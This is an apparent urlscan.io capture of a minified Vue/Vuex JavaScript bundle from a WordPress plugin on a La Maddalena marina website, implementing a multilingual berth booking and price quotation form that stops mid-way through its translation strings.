www.portituristicilamaddalena.it
Open in
urlscan Pro
185.8.27.99
Public Scan
URL:
http://www.portituristicilamaddalena.it/wp-content/plugins/np-maddalena-plugin/dist/js/app.aa2dacc6.js?ver=aa2dacc6
Submission: On May 22 via manual from IT — Scanned from IT
Submission: On May 22 via manual from IT — Scanned from IT
Form analysis
0 forms found in the DOMText Content
(function(e){function t(t){for(var n,s,o=t[0],u=t[1],c=t[2],l=0,p=[];l<o.length;l++)s=o[l],a[s]&&p.push(a[s][0]),a[s]=0;for(n in u)Object.prototype.hasOwnProperty.call(u,n)&&(e[n]=u[n]);d&&d(t);while(p.length)p.shift()();return i.push.apply(i,c||[]),r()}function r(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,o=1;o<r.length;o++){var u=r[o];0!==a[u]&&(n=!1)}n&&(i.splice(t--,1),e=s(s.s=r[0]))}return e}var n={},a={app:0},i=[];function s(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,s),r.l=!0,r.exports}s.m=e,s.c=n,s.d=function(e,t,r){s.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},s.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},s.t=function(e,t){if(1&t&&(e=s(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(s.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)s.d(r,n,function(t){return e[t]}.bind(null,n));return r},s.n=function(e){var t=e&&e.__esModule?function(){return e["default"]}:function(){return e};return s.d(t,"a",t),t},s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},s.p="/";var o=window["webpackJsonp"]=window["webpackJsonp"]||[],u=o.push.bind(o);o.push=t,o=o.slice();for(var c=0;c<o.length;c++)t(o[c]);var d=u;i.push([0,"chunk-vendors"]),r()})({0:function(e,t,r){e.exports=r("3638")},"015b":function(e,t,r){"use strict";var n=r("956b"),a=r.n(n);a.a},"21d1":function(e,t,r){"use strict";var n=r("f5a2"),a=r.n(n);a.a},"2e4b":function(e,t,r){},"33e6":function(e,t,r){"use strict";var n=r("2e4b"),a=r.n(n);a.a},3638:function(e,t,r){"use strict";r.r(t);r("96cf");var n=r("3b8d"),a=r("cebc"),i=r("a4bb"),s=r.n(i),o=(r("cadf"),r("551c"),r("f751"),r("097d"),r("2b0e")),u=r("2f62"),c=r("d225"),d=r("b0b4"),l=r("308d"),p=r("6bb5"),f=r("013f"),b=r("4e2b"),m=r("bd86"),h=function e(){var t=this;Object(c["a"])(this,e),Object(m["a"])(this,"namespaced",!1),Object(m["a"])(this,"actions",{}),Object(m["a"])(this,"mutations",{}),Object(m["a"])(this,"getters",{}),Object(m["a"])(this,"stateObject",{}),Object(m["a"])(this,"state",function(){return t.stateObject}),Object(m["a"])(this,"addState",function(e){return t.stateObject=Object(a["a"])({},t.stateObject,e),t}),Object(m["a"])(this,"addGetters",function(e){return t.getters=Object(a["a"])({},t.getters,e),t}),Object(m["a"])(this,"addActions",function(e){return t.actions=Object(a["a"])({},t.actions,e),t}),Object(m["a"])(this,"addMutations",function(e){return t.mutations=Object(a["a"])({},t.mutations,e),t}),Object(m["a"])(this,"withNamespace",function(){return t.namespaced=!0,t})},g=r("bc3a"),v=r.n(g),_=r("4328"),k=r.n(_),w=v.a.create(),y=function(e){var t=e.method,r=void 0===t?"GET":t,n=e.url,a=e.data,i=void 0===a?{}:a;return w.post("/wp-admin/admin-ajax.php",k.a.stringify({action:"api_request",method:r,url:n,data:i}))},O=r("2ef0"),j=function(e){function t(e){var r;return Object(c["a"])(this,t),r=Object(l["a"])(this,Object(p["a"])(t).call(this)),Object(m["a"])(Object(f["a"])(r),"resource",""),Object(m["a"])(Object(f["a"])(r),"loading",function(){return r.addState({loading:!1}),r.addGetters({loading:function(e){return e.loading}}),r.addMutations({LOADING:function(e,t){return e.loading=t}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"response",function(){return r.addState({response:{}}),r.addGetters({response:function(e){return e.response}}),r.addMutations({RESPONSE:function(e,t){return e.response=t}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"meta",function(){return r.addState({meta:{}}),r.addGetters({meta:function(e){return e.meta}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"links",function(){return r.addState({links:{}}),r.addGetters({links:function(e){return e.links}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"children",function(){return r.addState({child:{},childMeta:{}}),r.addGetters({child:function(e){return e.child}}),r.addActions({child:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,n){var a,i;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return a=n.url,i=n.slug,e.next=3,r.restRequest(t,r.$axios,"CHILD",{url:a});case 3:return t.commit("MERGE_CHILD",i),e.abrupt("return",!0);case 5:case"end":return e.stop()}},e)}));function t(t,r){return e.apply(this,arguments)}return t}()}),r.addMutations({CHILD:function(e,t){var r=t.data,n=r.data||r;r.meta&&(e.childMeta=r.meta),e.child=n},MERGE_CHILD:function(e,t){delete e.item[t],delete e.meta[t];var r=Object(a["a"])({},e.item),n=Object(a["a"])({},e.meta);r[t]=e.child,n[t]=e.childMeta,e.item=Object(a["a"])({},r),e.meta=Object(a["a"])({},n)}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"errors",function(){return r.addState({errors:{}}),r.addGetters({errors:function(e){return e.errors}}),r.addActions({resetErrors:function(e){var t=e.commit;t("ERRORS",{})},clearError:function(e,t){var r=e.commit;r("CLEAR_ERROR",t)}}),r.addMutations({ERRORS:function(e,t){e.errors={},e.errors=t},CLEAR_ERROR:function(e,t){Object(O["unset"])(e.errors,t)}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"page",function(){return r.addState({page:[]}),r.addGetters({page:function(e){return e.page}}),r.addActions({page:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t){var n,a=arguments;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return n=a.length>1&&void 0!==a[1]?a[1]:null,t.dispatch("resetErrors"),e.next=4,r.restRequest(t,"PAGE",{url:"/api/pages/".concat(r.resource).concat(n?"/"+n:"")});case 4:case"end":return e.stop()}},e)}));function t(t){return e.apply(this,arguments)}return t}()}),r.addMutations({PAGE:function(e,t){var r=t.data;return e.page=r.data||r}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"implementRest",function(){return r.index().create().store().show().edit().update().delete(),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"index",function(){return r.addState({index:{}}),r.addGetters({index:function(e){return e.index}}),r.addActions({index:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t){var n,a=arguments;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return n=a.length>1&&void 0!==a[1]?a[1]:"",t.dispatch("resetErrors"),e.next=4,r.restRequest(t,"INDEX",{url:"/api/".concat(r.resource).concat(n)});case 4:case"end":return e.stop()}},e)}));function t(t){return e.apply(this,arguments)}return t}()}),r.addMutations({INDEX:function(e,t){var r=t.data;e.index=r.data||r,e.meta=r.meta,e.links=r.links}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"create",function(){return r.addState({create:{}}),r.addGetters({create:function(e){return e.create}}),r.addActions({create:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t){var n,a=arguments;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:if(n=!(a.length>1&&void 0!==a[1])||a[1],t.dispatch("resetErrors"),n){e.next=4;break}return e.abrupt("return",t.commit("CREATE",{data:{data:null}}));case 4:return e.next=6,r.restRequest(t,"CREATE",{url:"/api/pages/".concat(r.resource,"/create")});case 6:case"end":return e.stop()}},e)}));function t(t){return e.apply(this,arguments)}return t}()}),r.addMutations({CREATE:function(e,t){var r=t.data;return e.create=r.data||r}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"store",function(){return r.addActions({store:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,n){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,r.restRequest(t,"ITEM",{method:"POST",url:"/api/".concat(r.resource),data:n});case 2:case"end":return e.stop()}},e)}));function t(t,r){return e.apply(this,arguments)}return t}()}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"show",function(){return r.addState({item:{}}),r.addGetters({item:function(e){return e.item}}),r.addActions({updateItem:function(e,t){var r=e.commit;return r("UPDATE_ITEM",t)},show:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,n){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,r.restRequest(t,"ITEM",{url:"/api/".concat(r.resource,"/").concat(n)});case 2:case"end":return e.stop()}},e)}));function t(t,r){return e.apply(this,arguments)}return t}()}),r.addMutations({ITEM:function(e,t){var r=t.data,n=r.data||r;e.item=!1,e.meta=!1,e.item=n,e.meta=r.meta,e.links=r.links},UPDATE_ITEM:function(e,t){e.item=!1,e.item=t}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"edit",function(){return Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"update",function(){return r.addActions({update:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,n){var a,i;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return a=n.id,i=n.data,t.dispatch("resetErrors"),e.next=4,r.restRequest(t,"RESPONSE",{url:"/api/".concat(r.resource,"/").concat(a),method:"PUT",data:i});case 4:t.getters.errors.errors||t.dispatch("show",a);case 5:case"end":return e.stop()}},e)}));function t(t,r){return e.apply(this,arguments)}return t}()}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"delete",function(){return r.addState({showDelete:!1}),r.addGetters({showDelete:function(e){return e.showDelete}}),r.addActions({showDelete:function(e,t){var r=e.commit;return r(t)},delete:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,n){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return t.dispatch("resetErrors"),e.next=3,r.restRequest(t,"RESPONSE",{method:"DELETE",url:"/api/".concat(r.resource,"/").concat(n)});case 3:case"end":return e.stop()}},e)}));function t(t,r){return e.apply(this,arguments)}return t}()}),r.addMutations({SHOW_DELETE:function(e,t){return e.showDelete=t}}),Object(f["a"])(r)}),Object(m["a"])(Object(f["a"])(r),"restRequest",function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,r,n){var a,i;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return a=t.commit,i={},a("LOADING",!0),e.prev=3,e.next=6,y(n);case 6:i=e.sent,a(r,i),e.next=14;break;case 10:e.prev=10,e.t0=e["catch"](3),i=e.t0.response,a("ERRORS",e.t0.response.data?e.t0.response.data.errors:e.t0.response);case 14:return a("LOADING",!1),e.abrupt("return",i);case 16:case"end":return e.stop()}},e,null,[[3,10]])}));return function(t,r,n){return e.apply(this,arguments)}}()),r.resource=e,r.loading().response().meta().links().children().errors().page(),r.implementRest(),r}return Object(b["a"])(t,e),t}(h),q=function(){function e(){Object(c["a"])(this,e)}return Object(d["a"])(e,null,[{key:"Rest",value:function(e){return new j(e).withNamespace()}}]),e}(),x=new h;x.addState({uid:""}).addGetters({uid:function(e){return e.uid}}).addActions({setUid:function(e,t){var r=e.commit;return r("UID",t)}}).addMutations({UID:function(e,t){return e.uid=t}});var R=x,$=new h;$.addState({options:{}}).addGetters({options:function(e){return e.options}}).addActions({setOptions:function(e,t){var r=e.commit;return r("options",t)}}).addMutations({options:function(e,t){return e.options=t}});var E=$,S=(r("c5f6"),function(){function e(){Object(c["a"])(this,e),this.stringParams=""}return Object(d["a"])(e,[{key:"addParam",value:function(e,t){this.stringParams.length?this.stringParams+="&":this.stringParams="?",this.stringParams+=String(e)+"="+String(t)}},{key:"include",value:function(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return t[0]&&this.addParam("include",t.join(",")),this}},{key:"append",value:function(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return t[0]&&this.addParam("append",t.join(",")),this}},{key:"where",value:function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];return r[0]&&this.addParam("filter[".concat(e,"]"),r.join(",")),this}},{key:"sortBy",value:function(e,t){return e&&this.addParam("sort","".concat(t?"":"-").concat(e)),this}},{key:"page",value:function(e){return this.addParam("page",e),this}},{key:"period",value:function(e){return this.addParam("period",e.join(",")),this}},{key:"get",value:function(){var e=this.stringParams;return this.clean(),e}},{key:"clean",value:function(){return this.stringParams="",this}},{key:"print",value:function(){return console.log(this.stringParams),this}},{key:"set",value:function(e,t){return this.addParam(e,t),this}},{key:"rawString",value:function(e){return this.stringParams+=String(e),this}}]),e}()),A=q.Rest("quotations");A.addState({quote:0}).addGetters({quote:function(e){var t=e.quote;return t}}).addActions({calculate:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t){var r,n,a,i,s,o,u,c,d,l,p,f;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return r=t.state.item,n=r.length,a=r.width,i=r.from,s=r.to,o=r.resident,u=void 0!==o&&o,c=r.electricity,d=void 0===c||c,l=r.annual,p=void 0!==l&&l,f=(new S).set("from",i).set("to",s).set("width",a).set("length",n).set("resident",u?1:0).set("electricity",d?1:0).set("annual",p?1:0).get(),e.next=4,A.restRequest(t,"QUOTE",{url:"/api/quotation".concat(f)});case 4:case"end":return e.stop()}},e)}));function t(t){return e.apply(this,arguments)}return t}()}).addMutations({QUOTE:function(e,t){var r=t.data;return e.quote=Number(r.data.total||0).toFixed(2)}});var P=A;o["default"].use(u["a"]);var D=new u["a"].Store({modules:{bookings:q.Rest("bookings"),owners:q.Rest("owners"),boats:q.Rest("boats"),quote:P,uid:R,options:E}}),C=r("a925"),M=r("f13c"),I=r.n(M),B=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{directives:[{name:"loading",rawName:"v-loading",value:e.loading,expression:"loading"}],staticClass:"booking-request",attrs:{id:"bookingTop"}},[e.canBook?r("div",[e.step<5?r("steps-list",{attrs:{steps:e.steps},model:{value:e.step,callback:function(t){e.step=t},expression:"step"}}):e._e(),e.step<4?r("form",{on:{submit:function(t){return t.preventDefault(),e.submitForm()}}},[1===e.step&&e.page.owner?r("simple-driver",{attrs:{items:e.owner,errors:e.ownerErrors},on:{"update:items":function(t){e.owner=t},"update:errors":function(t){e.ownerErrors=t}},scopedSlots:e._u([{key:"default",fn:function(t){var n=t.driver;return[r("blocks-view",{attrs:{driver:n,page:e.page.owner}})]}}],null,!1,2683697304)}):e._e(),2===e.step&&e.page.boat?r("simple-driver",{attrs:{items:e.boat,errors:e.boatErrors},on:{"update:items":function(t){e.boat=t},"update:errors":function(t){e.boatErrors=t}},scopedSlots:e._u([{key:"default",fn:function(t){var n=t.driver;return[r("blocks-view",{attrs:{driver:n,page:e.page.boat}})]}}],null,!1,1163625953)}):e._e(),3===e.step&&e.page.booking?r("simple-driver",{attrs:{items:e.booking,errors:e.bookingErrors},on:{"update:items":function(t){e.booking=t},"update:errors":function(t){e.bookingErrors=t}},scopedSlots:e._u([{key:"default",fn:function(t){var n=t.driver;return[r("blocks-view",{attrs:{driver:n,page:e.page.booking}})]}}],null,!1,3116464336)}):e._e(),r("div",{staticClass:"booking-request__continue"},[r("button",{attrs:{type:"submit"},on:{click:function(t){return e.$scrollTo("body")}}},[e._v("\n "+e._s(e.$t("booking_request.save_and_continue"))+"\n ")])])],1):4===e.step?r("booking-summary",{attrs:{owner:e.owner,boat:e.boat,booking:e.booking},on:{submit:function(t){return e.submitForm()}}}):r("booking-success")],1):r("div",[e.showSummary?e._e():r("form",{on:{submit:function(t){return t.preventDefault(),e.calculateQuote(t)}}},[r("rest-store-driver",{attrs:{resource:"quote"},scopedSlots:e._u([{key:"default",fn:function(t){var n=t.driver;return[r("blocks-view",{attrs:{driver:n,page:e.quotePage}})]}}],null,!1,1704963949)}),r("div",{staticClass:"booking-request__continue"},[r("button",{attrs:{type:"submit"},on:{click:function(t){return e.$scrollTo("body")}}},[e._v("\n "+e._s(e.$t("booking_request.save_and_continue"))+"\n ")])])],1),e.showSummary?r("booking-summary",{attrs:{owner:e.owner,boat:e.boat,booking:e.booking,"initial-quote":e.quote},on:{submit:function(t){return e.submitForm()}}}):e._e()],1)])},T=[],G=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"steps"},e._l(e.steps,function(t,n){return r("step-button",{key:n,attrs:{index:n+1,label:t,active:e._f("isActive")(n+1,e.step),disabled:e._f("isDisabled")(n+1,e.step)},on:{"change-step":function(t){e.step=n+1}}})}),1)},L=[],N=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"step",class:e.stepClass,on:{click:function(t){return e.emitClick()}}},[r("button",{staticClass:"step__btn",attrs:{disabled:e.disabled}},[r("span",{staticClass:"step__circle"},[e._v(e._s(e.index))])]),r("div",{staticClass:"step__label"},[e._v(e._s(e.label))])])},z=[],F={props:{label:{type:String,default:"",required:!1},index:{type:[Number,String],required:!0},disabled:{type:Boolean,default:!1,required:!1},active:{type:Boolean,default:!1,required:!1}},computed:{stepClass:function(){return this.disabled?"step--disabled":this.active?"step--active":""}},methods:{emitClick:function(){this.disabled||this.$emit("change-step")}}},U=F,H=(r("33e6"),r("2877")),Q=Object(H["a"])(U,N,z,!1,null,null,null),Y=Q.exports,J={filters:{isActive:function(e,t){return e===t},isDisabled:function(e,t){return e>t}},components:{StepButton:Y},props:{value:{type:Number,required:!1},steps:{type:Array,required:!0}},computed:{step:{get:function(){return this.value},set:function(e){return this.$emit("input",e)}}}},V=J,K=(r("59b3"),Object(H["a"])(V,G,L,!1,null,null,null)),X=K.exports,Z=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"booking-summary"},[r("div",{staticClass:"booking-summary__main"},[r("div",{staticClass:"summary"},[r("div",{staticClass:"summary__block"},[r("h2",[e._v(e._s(e.$t("booking_request.booking")))]),r("div",[e._v("\n "+e._s(e.$t("booking_request.from"))+" "+e._s(e._f("formatDate")(e.booking.from))+" "+e._s(e.$t("booking_request.to"))+" "+e._s(e._f("formatDate")(e.booking.to))+"\n ")])]),e.owner.name?r("div",{staticClass:"summary__block"},[r("h2",[e._v(e._s(e.$t("booking_request.owner")))]),r("div",[e._v(e._s(e.owner.name))]),r("div",[e._v(e._s(e.owner.email))])]):e._e(),e.boat.name?r("div",[r("h2",[e._v(e._s(e.$t("booking_request.boat")))]),r("div",[e._v(e._s(e.boat.name))]),r("div",[e._v(e._s(e.boat.cin))])]):e._e()]),r("div",{staticClass:"quote"},[r("div",{directives:[{name:"loading",rawName:"v-loading",value:e.loadingPrice,expression:"loadingPrice"}],staticClass:"quote__box"},[r("div",[r("h2",{staticClass:"quote__box__title"},[e._v(e._s(e.$t("booking_request.quote")))]),r("div",{staticClass:"quote__box__price"},[e._v(e._s(e.quote)+" *")])])]),r("div",{staticClass:"quote__disclaimer"},[e._v("*"+e._s(e.$t("booking_request.quote_disclaimer")))])])]),e.canBook?r("form",{staticClass:"booking-summary__footer",on:{submit:function(t){return t.preventDefault(),e.submitForm()}}},[r("label",[r("input",{directives:[{name:"model",rawName:"v-model",value:e.privacy,expression:"privacy"}],attrs:{type:"checkbox"},domProps:{checked:Array.isArray(e.privacy)?e._i(e.privacy,null)>-1:e.privacy},on:{change:function(t){var r=e.privacy,n=t.target,a=!!n.checked;if(Array.isArray(r)){var i=null,s=e._i(r,i);n.checked?s<0&&(e.privacy=r.concat([i])):s>-1&&(e.privacy=r.slice(0,s).concat(r.slice(s+1)))}else e.privacy=a}}}),e._v("\n "+e._s(e.$t("booking_request.accept"))+" "),r("a",{attrs:{href:e.privacyLink,target:"_blank",rel:"noreferrer noopener"}},[e._v(e._s(e.$t("booking_request.privacy_label")))])]),r("label",[r("input",{directives:[{name:"model",rawName:"v-model",value:e.rules,expression:"rules"}],attrs:{type:"checkbox"},domProps:{checked:Array.isArray(e.rules)?e._i(e.rules,null)>-1:e.rules},on:{change:function(t){var r=e.rules,n=t.target,a=!!n.checked;if(Array.isArray(r)){var i=null,s=e._i(r,i);n.checked?s<0&&(e.rules=r.concat([i])):s>-1&&(e.rules=r.slice(0,s).concat(r.slice(s+1)))}else e.rules=a}}}),e._v("\n "+e._s(e.$t("booking_request.accept"))+" "),r("a",{attrs:{href:e.rulesLink,target:"_blank",rel:"noreferrer noopener"}},[e._v(e._s(e.$t("booking_request.rules_label")))])]),e._v("\n "+e._s(e.$t("booking_request.quote_message"))+"\n "),r("div",{staticClass:"booking-request__continue"},[r("button",{attrs:{type:"submit"}},[e._v(e._s(e.$t("booking_request.send_request")))]),e.showError?r("div",{staticClass:"error-message"},[e._v(e._s(e.$t("booking_request.accept_privacy_and_port_regulations")))]):e._e()])]):e._e()])},W=[],ee=r("4835"),te=r.n(ee),re={filters:{formatDate:function(e){return Object(ee["moment"])(e).format("DD MMMM YYYY")}},props:{owner:{type:Object,required:!0},boat:{type:Object,required:!0},booking:{type:Object,required:!0},initialQuote:{type:[Object,Boolean],default:!1}},data:function(){return{quote:"0.00€",privacy:!1,rules:!1,showError:!1,loadingPrice:!1}},computed:{canSubmit:function(){return this.privacy&&this.rules},privacyLink:function(){return this.$store.getters.options.privacy||""},rulesLink:function(){return this.$store.getters.options.rules||""},canBook:function(){return this.$store.getters.options.canBook||!1}},created:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(){var t,r,n;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:if(this.initialQuote){e.next=11;break}return t=this.$urlBuilder.set("from",this.booking.from).set("to",this.booking.to).set("width",this.boat.width).set("length",this.boat.length).set("resident",this.booking.resident?1:0).get(),this.loadingPrice=!0,e.next=5,this.$ajax({url:"/api/quotation".concat(t)});case 5:r=e.sent,n=r.data,this.quote=n&&n.data?"".concat(Number(n.data.total).toFixed(2),"€"):"impossibile",this.loadingPrice=!1,e.next=12;break;case 11:this.quote=this.initialQuote;case 12:case"end":return e.stop()}},e,this)}));function t(){return e.apply(this,arguments)}return t}(),methods:{submitForm:function(){if(!this.canSubmit)return this.showError=!0;this.canSubmit&&(this.$emit("submit"),this.showError=!1)}}},ne=re,ae=(r("015b"),Object(H["a"])(ne,Z,W,!1,null,null,null)),ie=ae.exports,se=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"booking-success"},[r("h1",{staticClass:"booking-success__title"},[e._v(e._s(e.$t("booking_request.request_sent")))]),r("div",[e._v(e._s(e.$t("booking_request.request_sent_message")))]),r("div",[e._v(e._s(e.$t("booking_request.request_sent_description")))])])},oe=[],ue=(r("21d1"),{}),ce=Object(H["a"])(ue,se,oe,!1,null,null,null),de=ce.exports;function le(e){return{get:function(){return this.$store.getters["".concat(e,"/errors")]},set:function(t){return this.$store.dispatch("".concat(e,"/clearError"),t)}}}var pe={components:{StepsList:X,BookingSummary:ie,BookingSuccess:de},data:function(){return{owner:{},boat:{},booking:{},loading:!1,showSummary:!1,steps:[this.$t("booking_request.owner"),this.$t("booking_request.boat"),this.$t("booking_request.booking"),this.$t("booking_request.summary")],step:1,okStep:0}},computed:{ownerErrors:le("owners"),boatErrors:le("boats"),bookingErrors:le("bookings"),page:function(){return this.$store.getters["bookings/create"]&&this.$store.getters["bookings/create"].pages||{}},quotePage:function(){return this.$store.getters["quote/create"]&&this.$store.getters["quote/create"].main||{}},canBook:function(){return!!this.$store.getters.options.canBook},quote:function(){return this.$store.getters["quote/quote"]||{}}},created:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return this.loading=!0,e.next=3,this.$store.dispatch("bookings/create");case 3:return e.next=5,this.$store.dispatch("quote/create");case 5:this.loading=!1;case 6:case"end":return e.stop()}},e,this)}));function t(){return e.apply(this,arguments)}return t}(),methods:{submitForm:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:if(!(this.step<4)){e.next=2;break}return e.abrupt("return",this.step++);case 2:return e.next=4,this.submitResource("owners",this.owner,1);case 4:if(e.sent){e.next=6;break}return e.abrupt("return",this.step=1);case 6:return e.next=8,this.submitResource("boats",this.boat,2);case 8:if(e.sent){e.next=10;break}return e.abrupt("return",this.step=2);case 10:return this.booking.owner_id=this.$store.getters["owners/item"].id,this.booking.boat_id=this.$store.getters["boats/item"].id,e.next=14,this.submitResource("bookings",Object(a["a"])({},this.booking,{source:"website"}),3);case 14:if(e.sent){e.next=16;break}return e.abrupt("return",this.step=3);case 16:return e.abrupt("return",this.step=5);case 17:case"end":return e.stop()}},e,this)}));function t(){return e.apply(this,arguments)}return t}(),submitResource:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(t,r,n){var a;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:if(this.loading=!0,!(this.okStep>=n)){e.next=3;break}return e.abrupt("return",!0);case 3:return e.next=5,this.$store.dispatch("".concat(t,"/store"),r);case 5:return this.loading=!1,a=this.successRequest(t),a&&(this.okStep=n),e.abrupt("return",a);case 9:case"end":return e.stop()}},e,this)}));function t(t,r,n){return e.apply(this,arguments)}return t}(),successRequest:function(e){var t=this.$store.getters["".concat(e,"/errors")];return!t||!s()(t).length},calculateQuote:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(){var t,r,n,a,i;return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,this.$store.dispatch("quote/calculate");case 2:this.$withoutErrors("quote")&&(t=this.$store.getters["quote/item"],r=t.length,n=t.width,a=t.from,i=t.to,this.boat.length=r,this.boat.width=n,this.booking.from=a,this.booking.to=i,this.showSummary=!0);case 3:case"end":return e.stop()}},e,this)}));function t(){return e.apply(this,arguments)}return t}()}},fe=pe,be=Object(H["a"])(fe,B,T,!1,null,null,null),me=be.exports,he=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",[e.page?r("blocks-view",{attrs:{page:e.page,resource:"bookings"}}):e._e()],1)},ge=[],ve={data:function(){return{uid:this.$store.getters.uid}},computed:{page:function(){return this.$store.getters["bookings/page"].main}},created:function(){var e=Object(n["a"])(regeneratorRuntime.mark(function e(){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,this.$store.dispatch("bookings/page",1);case 2:case"end":return e.stop()}},e,this)}));function t(){return e.apply(this,arguments)}return t}()},_e=ve,ke=Object(H["a"])(_e,he,ge,!1,null,null,null),we=ke.exports,ye=(r("19d2"),r("b383"),{it:{booking_request:{save_and_continue:"Salva e continua",owner:"Proprietario",boat:"Imbarcazione",booking:"Prenotazione",summary:"Riepilogo",request_sent:"Richiesta inviata",request_sent_message:"La tua richiesta di prenotazione è stata inviata correttamente.",request_sent_description:"A breve, riceverai un'email con il riepilogo della tua richiesta, se intendi effettuare la prenotazione clicca sul link presente nella email.",from:"Dal",to:"al",quote:"Preventivo",quote_disclaimer:"L'importo è indicativo e non include gli eventuali costi dei servizi aggiuntivi.",accept:"Accetto",privacy_label:"l'informativa sul trattamento dei dati personali trasmessi",rules_label:"il regolamento del porto",quote_message:"La richiesta sarà inoltrata ai nostri uffici e sarà presa in carico per la verifica, nel caso la richiesta venga accettata, riceverai un'email di conferma.",send_request:"Invia la richiesta",accept_privacy_and_port_regulations:"Accetta la privacy e il regolamento del porto"}},en:{booking_request:{save_and_continue:"Save and continue",owner:"Owner",boat:"Boat",booking:"Booking",summary:"Summary",request_sent:"Request sent",request_sent_message:"Your request was correctly sent.",request_sent_description:"Shortly you should receive an email with the recap of your request. If you decide to continue with your booking, click on the link that you will find in your email",from:"From",to:"to",quote:"Price quotation",quote_disclaimer:"The amount is indicative and does not include any additional services costs.",accept:"I accept",privacy_label:"the information on the processing of personal data",rules_label:"port regulations",quote_message:"The request will be forwarded to our offices and processed for verification. Once your request is accepted, you will receive a confirmation email.",accept_privacy_and_port_regulations:"Pleace accept information on the processing of personal data and port regulations"}},fr:{booking_request:{save_and_continue:"Sauvegarder et continuer",owner:"Propriétaire",boat:"Bateau",booking:"réservation",summary:"Résumé",request_sent:"Demande envoyée",request_sent_message:"Votre demande de réservation a été envoyée avec succès.",request_sent_description:"Bientôt, vous recevrez un email avec le récapitulatif de votre demande.",from:"De",to:"à ",quote:"Devis",quote_disclaimer:"Le montant est donné à titre indicatif et n’inclut pas les coûts éventuels pour des prestations supplémentaires.",accept:"J’accepte",privacy_label:"les informations sur le traitement des données personnelles",rules_label:"le règlement du port",quote_message:"La demande sera transférée vers nos bureaux et sera prise en charge afin d'être vérifiée. Si votre réservation est acceptée, vous recevrez un courriel de confirmation.",send_request:"Envoyer une demande",accept_privacy_and_port_regulations:"S'il vous plaît accepter les informations sur le traitement des données personnelles et le règlements du port"}},de:{booking_request:{save_and_continue:"Speichern und fortfahren",owner:"Inhaber",boat:"Schiff",booking:"Buchung",summary:"Zusammenfassung",request_sent:"Anfrage gesendet",request_sent_message:"Ihre Anfrage wurde korrekt verschickt.",request_sent_description:"Die Anfrage wird an unsere Büros zur Prüfung und Bearbeitung weitergeleitet, wird Ihr Antrag angenommen erhalten Sie eine E-Mail 